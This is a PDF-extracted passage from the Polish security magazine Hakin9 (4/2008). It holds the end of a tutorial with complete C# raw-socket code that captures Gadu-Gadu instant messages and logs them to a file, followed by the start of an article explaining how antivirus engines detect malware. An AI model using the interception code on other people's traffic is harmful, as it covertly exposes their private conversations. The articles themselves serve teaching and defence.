asynchronicznej operacji.

W naszym projekcie delegacja 

AsyncCallback

 jest implementowana 

przez metodę 

AsyncDataReceived

Tworzy ona nowy obiekt klasy 

IPHeader

 

i sprawdza, czy ładunek w datagramie 
IP zawiera segment TCP. Jeżeli tak 
się dzieje, wywoływana jest metoda 

SaveInfo

. Na końcu ponownie 

rozpoczynamy asynchroniczne 
odbieranie danych.

Metoda 

SaveInfo

 rozpoczyna 

działanie od stworzenia nowego 
obiektu klasy 

TCPHeader

. Następnie 

sprawdza, czy port źródłowy bądź port 
docelowy są portami Gadu-Gadu. Jeżeli 
nie, kończy działanie. W przeciwnym 
wypadku następuje sprawdzenie, 
czy przechwyciliśmy wychodzącą/
przychodzącą wiadomość, czy też inny 
typ pakietu. W przypadku, gdy pakiet 
Gadu-Gadu jest wiadomością wysyłaną 
do/z klienta Gadu-Gadu, interesujące 
nas dane są odczytywane i następnie 
zapisywane do pliku.

Gdy nasza klasa jest już gotowa, 

Listing 10. 

Właściwości klasy 

TCPHeader

public

 

byte

[]

 

TcpData

{

   

get

   

{

      

return

 

tcpData

;

   

}

}

public

 

ushort

 

SourcePort

{

   

get

   

{

      

return

 

sourcePort

;

   

}

}

public

 

ushort

 

DestinationPort

{

   

get

   

{

      

return

 

destinationPort

;

   

}

}

Listing 11. 

Pola klasy GGListener

private

 

IPHeader

 

ipHeader

;

private

 

TCPHeader

 

tcpHeader

;

private

 

byte

[]

 

data

;

private

 

Socket

 

s

;

private string filePath;

 

Rysunek 2. 

Nagłówek TCP

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Urgent Pointer

Reserved

Source Port

Destination Port

Data Offset

Flags

Sequence Number

Acknowledgment Number

Window

Checksum

Options and Padding

W Sieci

•   http://ekg.chmurka.net/docs/protocol.html – opis protokołu Gadu-Gadu,
•   http://msdn2.microsoft.com/en-us/express/aa975050.aspx – witryna Microsoft, skąd można 

pobrać środowisko Visual C# 2005 Express Edition,

•   http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i 

nie tylko. Naprawdę godny polecenia,

•   http://www.codeguru.pl – polska strona dla programistów .NET,
•   http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, 

właściwości i metod, jakie zawiera platforma .NET wraz z przykładowymi programami.

background image

ATAK

40

 

HAKIN9 4/2008

C#.NET. PRZECHWYTYWANIE WIADOMOŚCI GADU-GADU

41

 

HAKIN9 

4/2008

możemy przejść do widoku formy 
i utworzyć nowy obiekt klasy oraz 
rozpocząć przechwytywanie danych 
wywołując metodę 

StartToListen

.

Podsumowanie

Podstawowym celem artykułu było 
pokazanie, jak potężnym narzędziem 
są surowe gniazda i w jak łatwy 
sposób pozwalają na przechwytywanie 
danych przesyłanych w sieci. W 
sposób podobny do prezentowanego 

w artykule możemy zaimplementować 
aplikacje przechwytujące e-maile, 
a także monitorujące adresy 
odwiedzanych przez użytkownika stron 
internetowych. Hakerzy wykorzystują 
je do przeprowadzenia ataków typu 
Denial of Service (odmowa usługi) lub IP 
address spoofing 
(fałszowanie adresu 
IP). Jednakże nie wolno zapomnieć 
o pozytywnych aspektach użycia 
surowych gniazd. Niewątpliwie przydają 
się wszędzie tam, gdzie wymagany jest 

pełny wgląd do danych przesyłanych 
w sieci, np. w celu wysłania/odbioru 
niestandardowych pakietów.

Listing 12. 

Metody klasy GGListener

// 

konstruktor

public

 

GGListener

(

string

 

_fileParh

)

{

   

filePath

 

=

 

_fileParh

;

}

private

 

bool

 

IsGGPort

(

ushort

 

port

)

{

   

return

 

(

port

 

==

 

8074

 

||

 

port

 

==

 

443

);

}

public

 

void

 

StartToListen

()

{

   

try

   

{

      

s

 

=

 

new

 

Socket

(

AddressFamily

.

InterNetwork

SocketType

.

Raw

ProtocolType

.

IP

);

      

s

.

Bind

(

new

 

IPEndPoint

(

MachineAddress

()

0

));

      

byte

[]

 

optionInValue

 

=

 

new

 

byte

[

4

]

 

{

 

1

0

0

0

 

}

;

      

byte

[]

 

optionOutValue

 

=

 

new

 

byte

[

4

];

      

s

.

IOControl

(

IOControlCode

.

ReceiveAll

optionInValue

optionOutValue

);

      

data

 

=

 

new

 

byte

[

4096

];

      

s

.

BeginReceive

(

data

0

data

.

Length

SocketFlags

.

None

new

 

AsyncCallback

(

AsyncDataReceived

)

null

);

   

}

   

catch

 

(

Exception

 

exc

)

{}

}

private

 

IPAddress

 

MachineAddress

()

{

   

string

 

hostName

 

=

 

Dns

.

GetHostName

();

   

IPHostEntry

 

ipHostEntry

 

=

 

Dns

.

GetHostByName

(

hostName

);

   

return

 

ipHostEntry

.

AddressList

[

0

];

}

private

 

void

 

AsyncDataReceived

(

IAsyncResult

 

result

)

{

   

try

   

{

      

int

 

nReceived

 

=

 

s

.

EndReceive

(

result

);

      

ipHeader

 

=

 

new

 

IPHeader

(

data

nReceived

);

      

if

 

(

ipHeader

.

TypeOfProtocol

 

==

 

EProtocolType

.

TCP

)

      

{

         

SaveInfo

();

      

}

      

data

 

=

 

new

 

byte

[

4096

];

      

s

.

BeginReceive

(

data

0

data

.

Length

SocketFlags

.

None

new

 

AsyncCallback

(

AsyncDataReceived

)

null

);

   

}

   

catch

(

Exception

 

exc

)

{}

}

private

 

void

 

SaveInfo

()

 

{

   

try

   

{

      

tcpHeader

 

=

 

new

 

TCPHeader

(

ipHeader

.

Data

ipHeader

.

MessageLength

);

      

if

 

(!(

IsGGPort

(

tcpHeader

.

DestinationPort

)

 

||

 

IsGGPort

(

tc

pHeader

.

SourcePort

)))

         

return

;

      

if

 

(

BitConverter

.

ToUInt32

(

tcpHeader

.

TcpData

0

)

 

==

 

0x0b

 

||

 

BitConverter

.

ToUInt32

(

tcpHeader

.

TcpDa

ta

0

)

 

==

 

0x0a

)

      

{

         

int

 

nMsgLength

 

=

 

BitConverter

.

ToInt32

(

tcpHeader

.

TcpD

ata

4

);

         

int

 

nStartingByte

 

=

 

0

;

         

if

 

(!

File

.

Exists

(

filePath

))

            

using

(

File

.

Create

(

filePath

));

         

using

 

(

StreamWriter

 

sw

 

=

 

File

.

AppendText

(

filePath

))

         

{

            

string

 

msgType

 

=

 

" "

;

            

sw

.

Write

(

"

\r\n

++++++++++++++++++++++++++++++++++++

+++++

\r\n

"

);

            

if

 

(

tcpHeader

.

DestinationPort

 

==

 

8074

 

||

 

tcpHeader

.

DestinationPort

 

==

 

443

 

)

            

{

               

sw

.

Write

(

"Wiadomość wychodząca

\r\n

"

);

               

msgType

 

=

 

"Numer odbiorcy "

;

               

nStartingByte

 

=

 

20

;

               

nMsgLength

 

-=

 

12

;

            

}

            

if

 

(

tcpHeader

.

SourcePort

 

==

 

8074

 

||

 

tcpHeader

.

SourcePort

 

==

 

443

)

            

{

               

sw

.

Write

(

"Wiadomość przychodząca

\r\n

"

);

               

msgType

 

=

 

"Numer nadawcy "

;

               

nStartingByte

 

=

 

24

;

               

nMsgLength

 

-=

 

16

;

            

}

            

sw

.

Write

(

"Port źródłowy "

 

+

 

tcpHeader

.

SourcePort

 

+

 

"

\r\n

"

);

            

sw

.

Write

(

"Port docelowy "

 

+

 

tcpHeader

.

DestinationP

ort

 

+

 

"

\r\n

"

);

            

sw

.

Write

(

msgType

 

+

 

BitConverter

.

ToUInt32

(

tcpHeader

.

TcpData

8

)

 

+

 

"

\r\n

"

);

            

Encoding

 

e

 

=

 

Encoding

.

GetEncoding

(

"windows-1250"

);

            

sw

.

Write

(

"Wiadomość "

 

+

 

e

.

GetString

(

tcpHeader

.

TcpD

ata

nStartingByte

nMsgLength

));

         

}

      

}

   

}

   

catch

 

(

Exception

 

exc

)

{}

}

Maciej Pakulski

Absolwent studiów inżynierskich oraz aktywny członek 

koła naukowego .NET Wydziału Fizyki, Astronomii i 

Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika 

w Toruniu. Obecnie na studiach magisterskich. 

Programowaniem zajmuje się od 2004. Potrafi 

programować biegle w językach C/C++, Java, VHDL. 

Programowaniem w języku C# i platformą .NET zajmuje 

się od 2006 roku. Jest autorem szeregu publikacji z 

zakresu programowania oraz bezpieczeństwa IT. 

Kontakt z autorem: mac_pak@interia.pl

background image

42

 

OBRONA

HAKIN9 4/2008

A

utorzy zagrożeń są twórczy. Kiedyś 
motywacją była dla nich sława, przecieranie 
nie odkrytych jeszcze metod infekcji, 

uznanie w wąskim gronie twórców wirusów i w 
oczach producentów programów antywirusowych. 
Sytuacja ta trwała przez ponad 15 lat i w roku 
2002 powstały najbardziej skomplikowane wirusy 
metamorficzne, będące podsumowaniem tego 
okresu. Ze względu na pełną zmienność miały 
stanowić Wunderwaffe, którą autorzy wirusów 
pokonają ostatecznie programy antywirusowe. 
Tak się jednak nie stało. Twórcy silników 
antywirusowych podnieśli rzuconą rękawicę 
i wkrótce powstały nowe wersje programów, 
potrafiące identyfikować kod metamorficzny. 
Pokonanie ostatecznej broni osłabiło morale 
przeciwników. Na ten okres nałożyło się kilka 
spektakularnych medialnie aresztowań i część 
ludzi tworzących wirusy wycofała się ze sceny. 
Kolejne dwa lata można uznać za spokojne. Mimo 
kilku masowych infekcji (np. robaka Blaster) nie 
nastąpił wśród pojawiających się zagrożeń wielki 
skok technologiczny. Dopiero w roku 2004, gdy 
pojawił się robak Mydoom, a za nim Netsky i 
Bagle, spokój został zakończony. Nie ze względu 
na nowe techniki ataku, ale ze względu na inną 
motywację. Od tego roku czynnikiem motywującym 
stały się pieniądze, które przyciągnęły dziesiątki, a z 
czasem setki nowych twórców niebezpiecznego 
oprogramowania. Przed twórcami silników 
antywirusowych pojawiło się nowe zadanie: 
sprostać powodzi ataków.

JAKUB DĘBSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jakie techniki i algorytmy 

wykrywania zagrożeń 

stosowane są w programach 

antywirusowych.

CO POWINIENEŚ 

WIEDZIEĆ

powinieneś posiadać 

podstawową wiedzę na temat 

asemblera x86,

powinieneś znać popularne 

algorytmy wyszukiwania,

powinieneś znać budowę plików 

wykonywalnych.

Sygnatury

Do wykrywania niebezpiecznego oprogramowania 
silniki antywirusowe wykorzystują różne techniki. 
Każda powstała jako odpowiedź na nowe 
zagrożenie. Choć pierwszymi niebezpiecznymi 
programami były konie trojańskie, rozgłos zdobyły 
dopiero wirusy komputerowe potrafiące się 
replikować. Wirusy początkowo były prostym 
kodem nadpisującym pliki lub sektory startowe 
dyskietek. Z czasem metoda ataku została 
ulepszona i oryginalny kod wykonywał się po 
zakończeniu działania wirusa, czyniąc działanie 
wirusa niezauważanym. Do wykrywania prostych 
wirusów zastosowano sygnatury.  Sygnaturą 
niebezpiecznego programu jest ciąg bajtów, który 
jednoznacznie go identyfikuje. Ciąg ten powinien być 
wystarczająco długi, aby nie powodował fałszywych 
alarmów. Prawdopodobieństwo fałszywego 
alarmu można ograniczyć wybierając sygnaturę 
z fragmentu odpowiedzialnego za niebezpieczną 
akcję, np. infekcję pliku. Jeżeli autor wirusa wykorzysta 
tę samą procedurę infekcji w innym wirusie, 
sygnatura taka będzie w stanie go wykryć.

Wybierane sygnatury mogą zawierać 

wieloznaczniki (ang. wildcards), które odpowiadają 
za dowolny bajt. W sygnaturach opisujących wirusy 
asemblerowe dowolnymi bajtami były miejsca, 
w których wirus przechowywał zmienne lokalne. 
W przypadku sygnatur z kodu wygenerowanego 
w językach wysokiego poziomu, wieloznaczniki 
wykorzystuje się do pominięcia zmiennych 
argumentów instrukcji procesora, zależnych od 

Stopień trudności

Programy 

antywirusowe 

od środka

Dziś programy antywirusowe nie są tym, czym były pierwotnie. 

Oprócz wirusów komputerowych wykrywają całą gamę zagrożeń, 

wliczając w to konie trojańskie, oprogramowanie szpiegujące, 

exploity, phishing, a nawet spam. Choć zagrożenia bywają całkiem 

różne, do ich badania wykorzystywane są podobne techniki.

background image

43

 

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

HAKIN9 

4/2008

umiejscowienia kodu i danych w pamięci. Na 
Listingu 1. wieloznaczniki oznaczone są za 
pomocą ‘??’.

Niektóre wirusy w ramach walki ze 

skanowaniem sygnaturami pomiędzy 
swoje instrukcje dodawały nic nierobiące 
instrukcje. Do wykrycia takich wirusów można 
zastosować wieloznaczniki odpowiadające za 
0-n bajtów, ale zwykle nie są one stosowane, 
gdyż spowalniają algorytm wyszukiwania. 
Można je zastąpić większą liczbą prostych 
sygnatur.

Choć technika wyszukiwania 

sygnaturami jest prymitywna, wciąż jest 
szeroko stosowana przez niektóre firmy 
antywirusowe. W jej implementacji firmy 
stosują wszystkie użyteczne algorytmy 
z zakresu dopasowywania wzorców, 
wykorzystujące najczęściej deterministyczne 
i niedeterministyczne automaty skończone, 
algorytmy słownikowe i drzewa poszukiwań. 
Zarówno dobór sygnatur jak i same algorytmy 
optymalizowane są według zastosowań. 
Przykładowo w plikach wykonywalnych 
najczęściej pojawiającym się bajtem jest 
0, więc nie ma sensu zaczynać sygnatur 
od tego bajta, gdyż byłby on zbyt często 
dopasowywany.

Warto obalić jeden z mitów popularnych 

wśród użytkowników. Zwiększanie bazy 
zagrożeń nie wpływa drastycznie na 
szybkość skanowania przez program 
antywirusowy. Twórcy silników antywirusowych 
stosują algorytmy działające w czasie 
logarytmicznym, dzięki czemu zwiększenie 
liczności bazy zagrożeń na przykład z 
300 tysięcy do 400 tysięcy spowoduje 
kilkuprocentowy spadek szybkości 
skanowania. Należy jednak pamiętać, że 
każda sygnatura jest związana z nazwą i 
niekiedy procedurą leczącą, co powoduje 
szybki wzrost wielkości bazy. Z tego powodu 
część firm wykorzystuje sygnatury generyczne, 
pokrywające całą rodzinę zagrożeń.

Sumy kontrolne

Sygnatury, aby nie powodowały fałszywych 
alarmów, muszą mieć długość 
zapewniającą uniknięcie kolizji. W przypadku 
programów pisanych w językach wysokiego 
poziomu sygnatury binarne muszą być 
bardzo długie, gdyż kod generowany 
przez kompilator jest podobny. Każdy 
kompilator stosuje określone konstrukcje, 
które pojawiają się w zarówno dobrych jak 
i niebezpiecznych programach. Ponieważ 

przechowywanie długich wzorców wymaga 
dużej ilości pamięci, autorzy programów 
antywirusowych sygnatury zastępują 
sumami kontrolnymi.

Sumy kontrolne tworzone są za pomocą 

powszechnie stosowanych funkcji skrótu 
(ang. hash functions), takich jak MD5 czy 
CRC, lub za pomocą funkcji stworzonych 
od podstaw dla uzyskania lepszej 
efektywności. W najprostszym przypadku 
sumy kontrolne obliczane są z całego 
pliku. Podejście to wydaje się naiwne, lecz 
jest efektywne w wykrywaniu zagrożeń 
spowodowanych zmianami wprowadzonymi 
w plikach dobrych. Część niebezpiecznego 
oprogramowania modyfikuje jeden lub kilka 
bajtów w pliku systemowym wyłączając 
ochronę lub umożliwiając wyexploitowanie 
go po stworzeniu procesu. Do czasu 
systemu Windows Vista większość 
oprogramowania (nawet pochodzącego 
od Microsoftu) nie była podpisana cyfrowo, 
więc tak niewielkie zmiany trudno było 
wykryć innymi metodami.

Obliczanie sum kontrolnych zwykle 

nie sprowadza się do naiwnego 
przetworzenia kolejnych bajtów. W 
przypadku sum kontrolnych uzyskiwanych 
z sekcji kodu zwykle wykorzystuje się 
dezasemblację i jak przy sygnaturach 
pomija bajty odpowiedzialne za zmienne 
argumenty instrukcji. W przypadku sum 
kontrolnych z początku pliku (zwykle 
nagłówek określonego formatu) pomija 
się niewykorzystywane pola, które po 
zmianie nie wpłyną na działanie pliku (na 
Rysunku 1. oznaczone kolorem żółtym). W 
przypadku skryptów pomijane są białe znaki 
i komentarze.

Twórcy niebezpiecznego oprogramowania 

wprowadzają do plików modyfikacje, aby 
oszukać skanowanie sumami kontrolnymi. 
Czasami proces modyfikacji przebiega w 
sposób automatyczny, na przykład podczas 
instalacji oprogramowania w systemie 
lub podczas pobierania pliku z serwera 
HTTP. Oprócz zmian nagłówka pliku często 
używanym trikiem jest dopisywanie bajtów na 
końcu pliku lub w niewykorzystanej przestrzeni 
w środku pliku.

Problemem, który pojawia się przy 

sumach kontrolnych, jest znalezienie 
właściwego początku dla liczenia sumy. 
Oprócz oczywistych miejsc takich jak 
początek pliku czy punkt wejścia programu 
występują sytuacje, na przykład podczas 
emulacji, w których startu nie można 
jednoznacznie określić. Obliczanie sum 
kontrolnych z obszarów zaczynających 
się od kolejnych bajtów może być 
powolne. Z pomocą przychodzą funkcje 
skrótu przesuwnego (ang. rolling hash), 
wykorzystywane np. w algorytmie Rabina-
Karpa, które umożliwiają wyliczenie nowej 
wartości funkcji za pomocą kolejnego bajta i 
pierwszego bajta kontrolowanego obszaru.

Zwykle do identyfikacji zagrożenia 

stosowane jest kilka sum kontrolnych lub 
dopasowanie sumy kontrolnej po tym, gdy 
zostanie dopasowana sygnatura.

Metody algorytmiczne

Powyższe metody sprawdzają się 
w przypadku najpopularniejszego 
niebezpiecznego oprogramowania, czyli 
prostego oprogramowania tworzonego przez 
laików. Osoba posiadająca odpowiednie 

Listing 1. 

Przykładowa sygnatura z 

wieloznacznikami

53

           

push        

ebx

8BD8

         

mov         

ebx,eax

33C0         

xor         

eax,eax

A3????????   

mov         

[

00404084

]

,eax

6A00         

push        

000

E8????????   

call        

GetModuleHandleA 
;kernel32

A3????????

   

mov         

[

00405650

]

,eax

A1????????

   

mov         

eax,

[

00405650

]

A3????????

   

mov         

[

0040408C

]

,eax

33C0         

xor         

eax,eax

Sygnatura:

538BD833C0A3????????6A00E8????????A3

????????A1????
????A3????????
33C0        

 

Rysunek 1. 

Pola nagłówka PE, które 

mogą zostać zmienione bez wpływu na 

uruchomienie programu

background image

OBRONA

44

 

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

45

 

HAKIN9 

4/2008

umiejętności może obejść wykrywanie 
sygnaturami za pomocą polimorfizmu lub 
metamorfizmu, może utrudnić znalezienie 
początku wirusa za pomocą EPO (patrz 
Ramka), może również próbować zintegrować 
kod wirusa z nosicielem.

Do wykrycia tak stworzonego 

niebezpiecznego oprogramowania 
wykorzystuje się wyspecjalizowane 
algorytmy. Tworzenie ich przypomina pracę 
detektywa: analizujemy miejsce zbrodni 
(plik) i patrzymy, gdzie jej autor popełnił błąd. 
Algorytmy identyfikujące zagrożenie muszą 
być niezawodne, ale też szybkie. Ten drugi 
warunek może być spełniony właśnie dzięki 
przeoczeniom popełnionym przez zbrodniarzy. 
Błędem najczęstszym jest zmiana 
charakterystyki pliku, będąca specyficznym 
odciskiem palca pozostawionym podczas 
ataku. Dzięki niemu możemy stwierdzić, czy 
analizowany plik posiada cechy wspólne 
z zagrożeniem. Choć sam odcisk nie jest 
wystarczający do identyfikacji, jest podstawą 
przejścia do fazy dokładnej analizy. Jeżeli 
nie występuje, kończymy w tym momencie 
sprawdzanie. Przykładowymi odciskami 
palca są określone rozmiary i atrybuty sekcji, 
entropia lub rozkład statystyczny w wybranych 
obszarach pliku, nazwy sekcji niewystępujące 
w normalnych plikach czy też punkt wejścia 
programu ustalony na sekcję danych.

Autorzy wirusów komputerowych zawsze 

popełniali błędy. W ciągu dwudziestu lat 
nie pojawił się wirus, którego nie dałoby się 
szybko wykryć, choć należy liczyć się z tym, 
że w przyszłości może się pojawić. Autorzy 
niebezpiecznego oprogramowania wciąż 
próbują i niektóre słabsze technologicznie 
silniki antywirusowe nie są w stanie wykryć 
skomplikowanych wirusów. Właśnie z powodu 
niewykrycia będącego na wolności wirusa 

Virut wiele programów nie uzyskało w grudniu 
certyfikatu Virus Bulletin 100.

Metody kryptoanalityczne

Zarówno wirusy infekujące pliki jak i protektory 
plików wykonywalnych (np. ASProtect, Yoda 
czy Armadillo) do ukrycia kodu wykorzystują 
szyfrowanie. Jedną z metod stosowanych 
przez programy antywirusowe do uzyskania 
odszyfrowanego kodu są metody 
kryptoanalityczne. Sprawdzają się wtedy, gdy 
algorytm szyfrujący jest najsłabszym punktem 
obrony w niebezpiecznym oprogramowaniu.

Najczęściej używaną metodą ukrywania 

kodu jest wykorzystanie prostych operacji typu 
xoraddsub na kolejnych bajtach, słowach 
lub podwójnych słowach. Ich złamanie jest 
banalne i program antywirusowy jest w stanie 
zrobić to w ułamku sekundy. Przykładowo dla 
funkcji 

xor

, gdy 

c xor k = p, 

to

 p xor c 

= k

. Jeżeli 

p

 jest naszym tekstem jawnym 

(tu wirusem odszyfrowanym, który znamy) 
zaś 

jest postacią zaszyfrowaną, to w łatwo 

możemy znaleźć klucz 

k

. Jeżeli klucz jest stały 

lub modyfikowany prostym algorytmem, to nic 
nie stoi na przeszkodzie, aby odszyfrować nim 
resztę zaszyfrowanego obszaru.

W przypadku wirusów polimorficznych 

tekstem jawnym jest część odszyfrowana. W 
przypadku protektora pliku wykonywalnego 
tekstem jawnym mogą być wybrane bajty z 
nagłówka pliku, znane funkcje biblioteczne 
kompilatora, czy charakterystyczne cechy 
sekcji zasobów. Wykorzystywana jest każda 
informacja, która może zostać wybrana jako 
tekst jawny.

Sprawa komplikuje się w przypadku 

algorytmów szyfrujących generowanych w 
sposób losowy. Najczęściej wykorzystywanym 
zestawem operacji szyfrujących są prosto 
odwracalne xoraddsubrolror, którymi 

modyfikowany jest też klucz. Przykładowa 
procedura szyfrująca jednego z wirusów 
polimorficznych wygląda następująco (

k

 

jest kluczem, 

v

 losową wartością, 

op

 losowo 

wybraną operacją):

c[i] = p[i] op1 v1
k = k op2 v2
c[i] = c[i] op3 k

Odszyfrowanie danych w tym przypadku 
jest bardziej skomplikowane obliczeniowo, 
gdyż wymaga sprawdzenia permutacji 
operacji, ale wciąż jest możliwe do zrobienia w 
akceptowalnym czasie.

Metody kryptoanalizy przestają być 

skuteczne w przypadku kryptografii z silnym 
algorytmem szyfrującym. Ponieważ źródła 
takich algorytmów są ogólnie dostępne 
silne algorytmy są coraz częściej używane 
w niebezpiecznym oprogramowaniu. 
Na szczęście dla użytkowników w wielu 
przypadkach są użyte w sposób niepoprawny, 
wynikający z niewiedzy lub nie doczytania 
dokumentacji, dzięki czemu możliwe jest ich 
złamanie.

Odpakowanie statyczne

Kiedy niebezpieczne oprogramowanie zaczęto 
tworzyć w językach wysokiego poziomu 
większość autorów przestała skupiać się na 
tworzeniu zabezpieczeń przed jego analizą. 
Nie miało to sensu, ponieważ na rynku 
dostępnych było wiele narzędzi spełniających 
to zadanie. Niektóre z tych narzędzi były na 
tyle silne, że nie potrafiły poradzić sobie z nimi 
programy antywirusowe. Ich zaletą było też to, 
że w tak zabezpieczonym pliku nie można było 
wykrywać samego zabezpieczenia, ponieważ 
zabezpieczenie używane było też w dobrym 
oprogramowaniu. Autorzy antywirusów musieli 
znaleźć rozwiązanie problemu w sytuacji, w 
której nie zawsze pomagała kryptoanaliza.

Jednym ze sposobów poradzenia sobie 

z protektorami plików wykonywalnych jest 
odpakowanie statyczne, czyli przeanalizowanie 
algorytmów protektora i przygotowanie 
specjalnych procedur odpakowujących w 
silniku antywirusowym.

Na początku należy protektor 

zidentyfikować. Do identyfikacji można 
wykorzystać skanowanie sygnaturami lub, 
w przypadku protektorów polimorficznych, 
mechanizmy służące do identyfikacji wirusów 
polimorficznych. Protektory w większości 
przypadków działają na takiej samej zasadzie 

Terminologia

•   Polimorfizm – technika ukrywania algorytmu poprzez zastąpienie oryginalnych instrukcji 

wykonujących algorytm równoważnymi instrukcjami. Jedna instrukcja może być zastąpiona 
dowolną liczbą instrukcji dających identyczny efekt. Polimorfizm jest używany w celu ukrycia 
algorytmu odszyfrowującego oryginalny kod, który zostanie następnie uruchomiony.

•   Metamorfizm – technika podobna do polimorfizmu. Każda instrukcja oryginalnego kodu jest 

zastępowana dowolną liczbą instrukcji dających równoważny efekt. Ponieważ ukrywany jest 
algorytm oryginalnego kodu, nie jest potrzebne dodatkowe szyfrowanie go.

•   EPO – z ang. EntryPoint Obscuring – ukrywanie punktu wejścia. Wirus infekując plik musi 

w pewnym momencie zostać wykonany. Proste wirusy uruchamiają się wraz ze startem 
nosiciela. Technika EPO polega na przekazaniu sterowania do wirusa w innym momencie 
działania programu-nosiciela, na przykład zamiast wywołania funkcji API. W ten sposób 
program antywirusowy nie może stwierdzić, w którym miejscu zaczyna się wirus.

background image

OBRONA

44

 

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

45

 

HAKIN9 

4/2008

jak wirusy polimorficzne – dodają warstwę 
zabezpieczającą oryginalny kod, zaś kod 
oryginalny pozostaje niezmieniony.

Kiedy rozpoznamy konkretny protektor 

możemy uruchomić procedurę zdejmującą 
zabezpieczenie. Procedura taka musi być 
napisana na podstawie analizy konkretnego 
protektora, co ma liczne wady. Po pierwsze, 
jeżeli nie znamy silnika zabezpieczającego, 
nie możemy zabezpieczenia zdjąć. Do czasu, 
aż otrzymamy przynajmniej kilka próbek, 
nie możemy być pewni zasady działania 
protektora. Po drugie, odpakowanie statyczne 
jest wrażliwe na modyfikacje wprowadzone w 
zabezpieczonym pliku. Drobna modyfikacja 
sygnatury może spowodować, że kod nie 
zostanie rozpakowany. Drobna modyfikacja 
wygenerowanego kodu może spowodować 
błędne odpakowanie. Po trzecie, wiele z 
dostępnych protektorów posiada otwarte 
źródła, więc nie jest problemem zmienić 
sam algorytm zabezpieczenia. Po 
zmianie algorytmu statyczna procedura 
odbezpieczająca przestanie działać, gdyż 
próbuje odpakować nieobsługiwany protektor. 
Jeżeli nie możemy zdjąć zabezpieczenia, 
to atakujący może w prosty sposób 
wygenerować niewykrywalny wariant swojego 
programu poprzez użycie tego protektora.

Odpakowanie dynamiczne

W programach antywirusowych emulatory 
zostały stworzone jako odpowiedź na 
wirusy polimorficzne. Do dzisiaj są 
najskuteczniejszym sposobem radzenia sobie 
z nimi, ale używane są także do odpakowania 
protektorów. Odpakowanie z wykorzystaniem 
protektora nazywane jest odpakowaniem 
dynamicznym.

Program emulowany uruchamiany jest 

bezpiecznym, symulowanym środowisku. 
Proces emulacji zwykle zaczyna się od punktu 
wejścia i przebiega do czasu znalezienia 
sygnatury niebezpiecznego programu, do 
czasu, aż emulator stwierdzi, że wykonywany 
program jest bezpieczny, lub do czasu 
wyczerpania zasobów.

Emulator może zostać wykorzystany 

do odszyfrowania zaszyfrowanego kodu 
niezależnie od złożoności szyfru. Zwykle 
nie jest problemem dostarczenie zasobów 
w postaci pamięci, ponieważ taką ilość 
pamięci potrzebuje zabezpieczony program 
do uruchomienia. Problemem jest jednak 
szybkość emulacji. Na emulowanym systemie 
jest ona od kilkudziesięciu do kilkuset razy 

mniejsza niż w rzeczywistego działania. Jedną 
ze skuteczniejszych metod przyspieszenia 
emulacji jest tłumaczenie dynamiczne 
(ang. dynamic translation), spotykane w 
kompilatorach JIT. Każda instrukcja, zamiast 
być interpretowaną, jest tłumaczona na 
bezpieczną wersję wykonywaną na aktualnym 
procesorze.

Budowa emulatora

Emulator programu antywirusowego 
składa się z następujących elementów:

•   Emulator procesora – Do typowych zadań 

emulatora procesora należy rozkodowanie 
instrukcji wskazywanej przez wskaźnik EIP, 
wykonanie kodu zależnego od instrukcji 
i zapamiętanie wyników. Następnie EIP 
jest zwiększany tak, aby wskazywał na 
kolejną instrukcję. Ponieważ protektory 
coraz częściej wykorzystują sterowniki 
pracujące w trybie jądra, konieczne staje 
się emulowanie instrukcji działających też 
w tym trybie.

  Emulowany procesor musi posiadać 

pełną informację na temat stanu rejestrów 
ogólnego przeznaczenia, segmentowych, 
debugowania, flag i wskaźnika 
instrukcji. Wiele protektorów używa 
instrukcji koprocesora, MMX, SSE, więc 
konieczne jest przechowywanie stanów 
wykorzystywanych też przez nie.

•   Menadżer pamięci – Menadżer pamięci 

musi odpowiadać istniejącemu w 
systemie. Każdy obszar pamięci składa 
się z ciągłej listy stron. Każda strona 
posiada opis zabezpieczeń i alokacji. 
W przypadku naruszenia zabezpieczeń 
lub próby uzyskania dostępu do 
nieprzydzielonej pamięci menadżer 
pamięci musi wygenerować wyjątek. 
Menadżer pamięci dba o przydzielanie 
pamięci na stercie i zarządza stosem.

•   Ładowanie procesu – Na podstawie 

nagłówka pliku wykonywalnego konieczne 
jest stworzenie procesu w pamięci. Każda 
wersja systemu tworzy proces w inny 
sposób i przed autorem silnika pozostaje 
wybranie, którą wersję emulować. Do 
standardowych zadań przy ładowaniu 
procesu zaliczają się: przydział pamięci 
i skopiowanie sekcji, ustalenie atrybutów 
pamięci, załadowanie emulowanych 
bibliotek, wypełnienie tablicy importów (IAT), 
zaaplikowanie relokacji.

  Przy ładowaniu procesu konieczne 

jest ustalenie środowiska procesu 
(Process Environment Block) na zgodny 
z systemem. Jest to konieczne, ponieważ 
wiele protektorów korzysta z informacji w 
nim zawartych np. do sprawdzenia, czy 
proces nie jest debugowany.

  Ponieważ system Windows posiada 

mało restrykcyjny loader, możliwe jest 
takie zmodyfikowanie pliku PE, że wciąż 
będzie uruchamiany w systemie Windows, 
zaś wiele emulatorów stwierdzi, że plik 
nie posiada poprawnego formatu. 
Przykładowo wiele pół nagłówka nie jest 
wykorzystywana lub wykorzystywana 
jest w sposób odmienny od specyfikacji 
(Rysunek 1).

•   Emulacja pamięci bibliotek – Przy 

tworzeniu procesu lub wywołaniu funkcji 

LoadLibrary

 konieczne jest wczytanie 

do pamięci procesu zewnętrznej biblioteki. 
Biblioteka taka musi być emulowana 
w sposób jak najpełniejszy (wraz z jej 
strukturą w pamięci), ponieważ niektóre 
protektory szukają adresów funkcji 
eksportowanych bezpośrednio w 
bibliotece, za pomocą mniej lub bardziej 
wyrafinowanych metod.

•   Emulacja wątków – Ponieważ wiele 

zabezpieczeń wykorzystuje kilka 
działających jednocześnie wątków, 
konieczne stało się emulowanie 
przełączania kontekstu. Ponieważ wiele 
wątków w protektorach nie uczestniczy 
bezpośrednio w procesie rozpakowania, 
konieczne jest stworzenie dobrego 
mechanizmu ich szeregowania, aby 
wykonywały się głównie wątki mające 
